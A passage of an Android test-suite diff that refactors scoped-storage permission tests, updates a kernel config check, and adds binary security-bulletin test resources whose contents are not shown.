- deleteFileUsingTradefedContentProvider(otherTopLevelFile);
+ deleteAsLegacyApp(otherTopLevelFile);
MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
- deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
- uninstallApp(TEST_APP_A);
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
}
}
@@ -632,18 +427,94 @@
final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
try {
- installApp(TEST_APP_A);
// Apps can't query other app's pending file, hence create file and publish it.
assertCreatePublishedFilesAs(
- TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
assertCanQueryAndOpenFile(otherAppPdf, "rw");
assertCanQueryAndOpenFile(otherAppImg, "rw");
assertCanQueryAndOpenFile(otherAppMusic, "rw");
assertCanQueryAndOpenFile(otherHiddenFile, "rw");
} finally {
- deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
- uninstallApp(TEST_APP_A);
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ }
+ }
+
+ /*
+ * b/174211425: Test that for apps bypassing database operations we mark the nomedia directory
+ * as dirty for create/rename/delete.
+ */
+ @Test
+ public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File nomediaFile = new File(nomediaDir, ".nomedia");
+ final File mediaFile = new File(nomediaDir, IMAGE_FILE_NAME);
+ final File renamedMediaFile = new File(nomediaDir, "Renamed_" + IMAGE_FILE_NAME);
+ try {
+ if (!nomediaDir.exists()) {
+ assertTrue(nomediaDir.mkdirs());
+ }
+ assertThat(nomediaFile.createNewFile()).isTrue();
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+ assertThat(mediaFile.createNewFile()).isTrue();
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+ assertThat(getFileRowIdFromDatabase(mediaFile)).isNotEqualTo(-1);
+
+ assertThat(mediaFile.renameTo(renamedMediaFile)).isTrue();
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+ assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isNotEqualTo(-1);
+
+ assertThat(renamedMediaFile.delete()).isTrue();
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+ assertThat(getFileRowIdFromDatabase(renamedMediaFile)).isEqualTo(-1);
+ } finally {
+ nomediaFile.delete();
+ mediaFile.delete();
+ renamedMediaFile.delete();
+ nomediaDir.delete();
+ }
+ }
+
+ @Test
+ public void testScanDoesntSkipDirtySubtree() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File topLevelNomediaFile = new File(nomediaDir, ".nomedia");
+ final File nomediaSubDir = new File(nomediaDir, "child_" + TEST_DIRECTORY_NAME);
+ final File nomediaFileInSubDir = new File(nomediaSubDir, ".nomedia");
+ final File mediaFile1InSubDir = new File(nomediaSubDir, "1_" + IMAGE_FILE_NAME);
+ final File mediaFile2InSubDir = new File(nomediaSubDir, "2_" + IMAGE_FILE_NAME);
+ try {
+ if (!nomediaDir.exists()) {
+ assertTrue(nomediaDir.mkdirs());
+ }
+ if (!nomediaSubDir.exists()) {
+ assertTrue(nomediaSubDir.mkdirs());
+ }
+ assertThat(topLevelNomediaFile.createNewFile()).isTrue();
+ assertThat(nomediaFileInSubDir.createNewFile()).isTrue();
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+ // Verify creating a new file in subdirectory sets dirty state, and scanning the top
+ // level nomedia directory will not skip scanning the subdirectory.
+ assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile1InSubDir, nomediaDir);
+
+ // Verify creating a new file in subdirectory sets dirty state, and scanning the
+ // subdirectory will not no-op.
+ assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile2InSubDir, nomediaSubDir);
+ } finally {
+ nomediaFileInSubDir.delete();
+ mediaFile1InSubDir.delete();
+ mediaFile2InSubDir.delete();
+ topLevelNomediaFile.delete();
+ nomediaSubDir.delete();
+ nomediaDir.delete();
+ // Scan the directory to remove stale db rows.
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
}
}
@@ -651,21 +522,14 @@
public void testAndroidMedia() throws Exception {
pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
- try {
- installApp(TEST_APP_A);
+ final File myMediaDir = getExternalMediaDir();
+ final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath()
+ .replace(THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
- final File myMediaDir = getExternalMediaDir();
- final File otherAppMediaDir = new File(myMediaDir.getAbsolutePath().
- replace(THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-
- // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
- // image files and exactly like Downloads for documents.
- assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, TEST_APP_A);
- assertSharedStorageAccess(getDcimDir(), getDownloadDir(), TEST_APP_A);
-
- } finally {
- uninstallApp(TEST_APP_A);
- }
+ // Verify that accessing other app's /sdcard/Android/media behaves exactly like DCIM for
+ // image files and exactly like Downloads for documents.
+ assertSharedStorageAccess(otherAppMediaDir, otherAppMediaDir, APP_B_NO_PERMS);
+ assertSharedStorageAccess(getDcimDir(), getDownloadDir(), APP_B_NO_PERMS);
}
@Test
@@ -712,6 +576,52 @@
}
/**
+ * Test that File Manager can't insert files from private directories.
+ */
+ @Test
+ public void testInsertExternalFilesViaData() throws Exception {
+ verifyInsertFromExternalMediaDirViaData_allowed();
+ verifyInsertFromExternalPrivateDirViaData_denied();
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaData() throws Exception {
+ verifyUpdateToExternalDirsViaData_denied();
+ }
+
+ /**
+ * Test that File Manager can't insert files from private directories.
+ */
+ @Test
+ public void testInsertExternalFilesViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
+ private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
+ throws Exception {
+ assertThat(newFile.createNewFile()).isTrue();
+ // File is not added to database yet, but the directory is marked as dirty so that next
+ // scan doesn't no-op.
+ assertThat(getFileRowIdFromDatabase(newFile)).isEqualTo(-1);
+
+ MediaStore.scanFile(getContentResolver(), scanDir);
+ assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+ }
+
+ /**
* Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
* and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
* {@code READ_EXTERNAL_STORAGE}.
@@ -730,7 +640,8 @@
// .. but not the binary file
assertFileAccess_existsOnly(otherAppBinary);
assertThrows(FileNotFoundException.class, () -> {
- assertFileContent(otherAppBinary, new String().getBytes()); });
+ assertFileContent(otherAppBinary, new String().getBytes());
+ });
} finally {
deleteFileAsNoThrow(otherApp, otherAppImage.getAbsolutePath());
deleteFileAsNoThrow(otherApp, otherAppBinary.getAbsolutePath());
@@ -743,8 +654,7 @@
pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
try {
- installApp(TEST_APP_A);
- assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+ assertCreateFilesAs(APP_B_NO_PERMS, otherPendingFile);
// We can read other app's pending file from FUSE via filePath
assertCanQueryAndOpenFile(otherPendingFile, "r");
@@ -752,8 +662,7 @@
// We can also read other app's pending file via MediaStore API
assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
} finally {
- deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
- uninstallAppNoThrow(TEST_APP_A);
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherPendingFile.getAbsolutePath());
}
}
@@ -773,31 +682,25 @@
@Test
public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
- try {
- // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
- installAppWithStoragePermissions(TEST_APP_A);
+ // Let app A create a file in its data dir
+ final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+ THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+ final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+ NONMEDIA_FILE_NAME);
+ assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
- // Let app A create a file in its data dir
- final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
- THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
- final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
- NONMEDIA_FILE_NAME);
- assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+ // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+ // file manager app doesn't have access to other app's external files directory
+ assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+ assertThat(otherAppExternalDataFile.delete()).isFalse();
- // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
- // file manager app doesn't have access to other app's external files directory
- assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
- assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
- assertThat(otherAppExternalDataFile.delete()).isFalse();
+ assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
- assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
- assertThrows(IOException.class,
- () -> { otherAppExternalDataFile.createNewFile(); });
-
- } finally {
- uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
- }
+ assertThrows(IOException.class,
+ () -> {
+ otherAppExternalDataFile.createNewFile();
+ });
}
@Test
@@ -808,9 +711,8 @@
final File otherTopLevelFile = new File(getExternalStorageDir(),
"other" + NONMEDIA_FILE_NAME);
try {
- installApp(TEST_APP_A);
- assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
- createFileUsingTradefedContentProvider(otherTopLevelFile);
+ assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+ createFileAsLegacyApp(otherTopLevelFile);
// We can list other apps' files
assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -822,9 +724,8 @@
// We can also list all top level directories
assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
} finally {
- deleteFileUsingTradefedContentProvider(otherTopLevelFile);
- deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
- uninstallApp(TEST_APP_A);
+ deleteAsLegacyApp(otherTopLevelFile);
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
}
}
@@ -835,18 +736,16 @@
final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
try {
- installApp(TEST_APP_A);
// Apps can't query other app's pending file, hence create file and publish it.
assertCreatePublishedFilesAs(
- TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
assertCanQueryAndOpenFile(otherAppPdf, "rw");
assertCanQueryAndOpenFile(otherAppImg, "rw");
assertCanQueryAndOpenFile(otherAppMusic, "rw");
assertCanQueryAndOpenFile(otherHiddenFile, "rw");
} finally {
- deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
- uninstallApp(TEST_APP_A);
+ deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
}
}
@@ -897,7 +796,7 @@
pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
File fileToRemain = new File(getPicturesDir(), IMAGE_FILE_NAME);
- String testAppPackageName = TEST_APP_A.getPackageName();
+ String testAppPackageName = APP_B_NO_PERMS.getPackageName();
File fileToBeDeleted =
new File(
getAndroidMediaDir(),
@@ -908,11 +807,9 @@
String.format("%s/nesteddir/%s", testAppPackageName, IMAGE_FILE_NAME));
try {
- installApp(TEST_APP_A);
-
- createAndCheckFileAsApp(TEST_APP_A, fileToRemain);
- createAndCheckFileAsApp(TEST_APP_A, fileToBeDeleted);
- createAndCheckFileAsApp(TEST_APP_A, nestedFileToBeDeleted);
+ createAndCheckFileAsApp(APP_B_NO_PERMS, fileToRemain);
+ createAndCheckFileAsApp(APP_B_NO_PERMS, fileToBeDeleted);
+ createAndCheckFileAsApp(APP_B_NO_PERMS, nestedFileToBeDeleted);
executeShellCommand("pm clear " + testAppPackageName);
@@ -933,10 +830,9 @@
assertThat(getFileOwnerPackageFromDatabase(nestedFileToBeDeleted)).isNull();
assertThat(getFileRowIdFromDatabase(nestedFileToBeDeleted)).isEqualTo(-1);
} finally {
- deleteFilesAs(TEST_APP_A, fileToRemain);
- deleteFilesAs(TEST_APP_A, fileToBeDeleted);
- deleteFilesAs(TEST_APP_A, nestedFileToBeDeleted);
- uninstallAppNoThrow(TEST_APP_A);
+ deleteFilesAs(APP_B_NO_PERMS, fileToRemain);
+ deleteFilesAs(APP_B_NO_PERMS, fileToBeDeleted);
+ deleteFilesAs(APP_B_NO_PERMS, nestedFileToBeDeleted);
}
}
@@ -986,164 +882,6 @@
assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
}
- /**
- * Checks restrictions for opening pending and trashed files by different apps. Assumes that
- * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
- * method doesn't uninstall given {@code testApp} at the end.
- */
- private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
- throws Exception {
- final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
-
- // App can open its pending or trashed file for read or write
- assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
- assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
-
- // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
- // write
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-
- final int testAppUid =
- getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
- try {
- allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- // File Manager can open any pending or trashed file for read or write
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
- } finally {
- denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
-
- try {
- allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
- if (isImageOrVideo) {
- // System Gallery can open any pending or trashed image/video file for read or write
- assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
- } else {
- // System Gallery can't open other app's pending or trashed non-media file for read
- // or write
- assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
- }
- } finally {
- denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
- }
- }
-
- /**
- * Checks restrictions for listing pending and trashed files by different apps. Assumes that
- * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
- * method doesn't uninstall given {@code testApp} at the end.
- */
- private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
- boolean isImageOrVideo) throws Exception {
- final String parentDirPath = file.getParent();
- assertTrue(new File(parentDirPath).isDirectory());
-
- final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
- assertThat(listedFileNames).doesNotContain(file);
-
- final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
-
- assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
-
- // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
- assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
-
- final int testAppUid =
- getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
- try {
- allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- // File Manager can see any pending or trashed file.
- assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
- } finally {
- denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
-
- try {
- allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
- if (isImageOrVideo) {
- // System Gallery can see any pending or trashed image/video file.
- assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
- } else {
- // System Gallery can't see other app's pending or trashed non media file.
- assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertThat(listAs(testApp, parentDirPath))
- .doesNotContain(pendingOrTrashedFile.getName());
- }
- } finally {
- denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
- }
- }
-
- private Uri createPendingFile(File pendingFile) throws Exception {
- assertTrue(pendingFile.createNewFile());
-
- final ContentResolver cr = getContentResolver();
- final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
- assertNotNull(trashedFileUri);
-
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.IS_PENDING, 1);
- assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
-
- return trashedFileUri;
- }
-
- private Uri createTrashedFile(File trashedFile) throws Exception {
- assertTrue(trashedFile.createNewFile());
-
- final ContentResolver cr = getContentResolver();
- final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
- assertNotNull(trashedFileUri);
-
- trashFile(trashedFileUri);
- return trashedFileUri;
- }
-
- private void trashFile(Uri uri) throws Exception {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.IS_TRASHED, 1);
- assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
- }
-
- /**
- * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
- * multiple db rows, file path is extracted from the first db row of the database query result.
- */
- private String getFilePathFromUri(Uri uri) {
- final String[] projection = new String[] {MediaColumns.DATA};
- try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
- assertTrue(c.moveToFirst());
- return c.getString(0);
- }
- }
-
- private boolean isMediaTypeImageOrVideo(File file) {
- return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
- }
-
- private static void assertIsMediaTypeImage(File file) {
- final Cursor c = queryImageFile(file);
- assertEquals(1, c.getCount());
- }
-
- private static void assertNotMediaTypeImage(File file) {
- final Cursor c = queryImageFile(file);
- assertEquals(0, c.getCount());
- }
-
- private static void assertCantQueryFile(File file) {
- assertThat(getFileUri(file)).isNull();
- // Confirm that file exists in the database.
- assertNotNull(MediaStore.scanFile(getContentResolver(), file));
- }
-
private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
for (File file : files) {
assertFalse("File already exists: " + file, file.exists());
@@ -1169,48 +907,11 @@
}
}
-
private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
for (File file : files) {
deleteFileAs(testApp, file.getPath());
}
}
- private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
- throws Exception {
- for (String path: filePaths) {
- assertTrue("Failed to delete file " + path + " on behalf of "
- + testApp.getPackageName(), deleteFileAs(testApp, path));
- }
- }
-
- private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
- throws Exception {
- for (String path: filePaths) {
- assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
- + " was expected to fail", deleteFileAs(testApp, path));
- }
- }
-
- private void deleteFiles(File... files) {
- for (File file: files) {
- if (file == null) continue;
- file.delete();
- }
- }
-
- private void deletePaths(String... paths) {
- for (String path: paths) {
- if (path == null) continue;
- new File(path).delete();
- }
- }
-
- private static void assertCanDeletePaths(String... filePaths) {
- for (String filePath : filePaths) {
- assertTrue("Failed to delete " + filePath,
- new File(filePath).delete());
- }
- }
/**
* For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
@@ -1227,64 +928,6 @@
}
}
- /**
- * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
- * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
- * underlying file on disk but may be derived from different mount points and in that case
- * have separate VFS caches.
- */
- private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
- throws Exception {
- FileDescriptor readFd = readPfd.getFileDescriptor();
- FileDescriptor writeFd = writePfd.getFileDescriptor();
-
- byte[] readBuffer = new byte[10];
- byte[] writeBuffer = new byte[10];
- Arrays.fill(writeBuffer, (byte) 1);
-
- // Write so readFd has content to read from next
- Os.pwrite(readFd, readBuffer, 0, 10, 0);
- // Read so readBuffer is in readFd's mount VFS cache
- Os.pread(readFd, readBuffer, 0, 10, 0);
-
- // Assert that readBuffer is zeroes
- assertThat(readBuffer).isEqualTo(new byte[10]);
-
- // Write so writeFd and readFd should now see writeBuffer
- Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
-
- // Read so the last write can be verified on readFd
- Os.pread(readFd, readBuffer, 0, 10, 0);
-
- // Assert that the last write is indeed visible via readFd
- assertThat(readBuffer).isEqualTo(writeBuffer);
- assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
- }
-
- private void assertStartsWith(String actual, String prefix, boolean expected) throws Exception {
- String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
-
- if (expected) {
- assertTrue(message, actual.startsWith(prefix));
- } else {
- assertFalse(message, actual.startsWith(prefix));
- }
- }
-
- private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
- String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
- String prefix = "/storage";
-
- assertStartsWith(path, prefix, true);
- }
-
- private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
- String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
- String prefix = "/mnt/user";
-
- assertStartsWith(path, prefix, true);
- }
-
private static void assertCanCreateFile(File file) throws IOException {
// If the file somehow managed to survive a previous run, then the test app was uninstalled
// and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
@@ -1378,33 +1021,36 @@
}
}
- private void createFileUsingTradefedContentProvider(File file) throws Exception {
- // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
- // android.tradefed.contentprovider.
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createFileAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
Log.d(TAG, "Creating file " + file);
- getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
}
- private void createDirUsingTradefedContentProvider(File file) throws Exception {
- // Files/Dirs are created using content provider. Owner of the Files/Dirs is
- // android.tradefed.contentprovider.
- Log.d(TAG, "Creating Dir " + file);
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createDirectoryAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating directory " + file);
// Create a tmp file in the target directory, this would also create the required
// directory, then delete the tmp file. It would leave only new directory.
- getContentResolver()
- .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
- getContentResolver()
- .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
}
- private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+ /**
+ * Deletes a file at any location on storage (except external app data directory).
+ */
+ private void deleteAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to delete this file, since it could be outside shared storage.
Log.d(TAG, "Deleting file " + file);
- getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
- }
-
- private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
- Log.d(TAG, "Deleting Dir " + file);
- getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+ deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
}
private int getCurrentUser() throws Exception {
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 6741b82..6de6044 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -262,6 +262,8 @@
put("SDM429", null);
put("SDM439", null);
put("QM215", null);
+ put("ATOLL", null);
+ put("ATOLL-AB", null);
put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
diff --git a/hostsidetests/securitybulletin/res/cve_2015_6616.mp4 b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
new file mode 100644
index 0000000..716c942
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.info b/hostsidetests/securitybulletin/res/cve_2020_0381.info
new file mode 100644
index 0000000..510c136
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.xmf b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
new file mode 100644
index 0000000..cbe4bbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.info b/hostsidetests/securitybulletin/res/cve_2020_0384.info
new file mode 100644
index 0000000..e74b507
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.xmf b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
new file mode 100644
index 0000000..5056ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.info b/hostsidetests/securitybulletin/res/cve_2020_0385.info
new file mode 100644
index 0000000..f0d0459
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.xmf b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
new file mode 100644
index 0000000..6437f9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0451.aac b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
new file mode 100644
index 0000000..7b04e05
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
new file mode 100644
index 0000000..33d0680
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
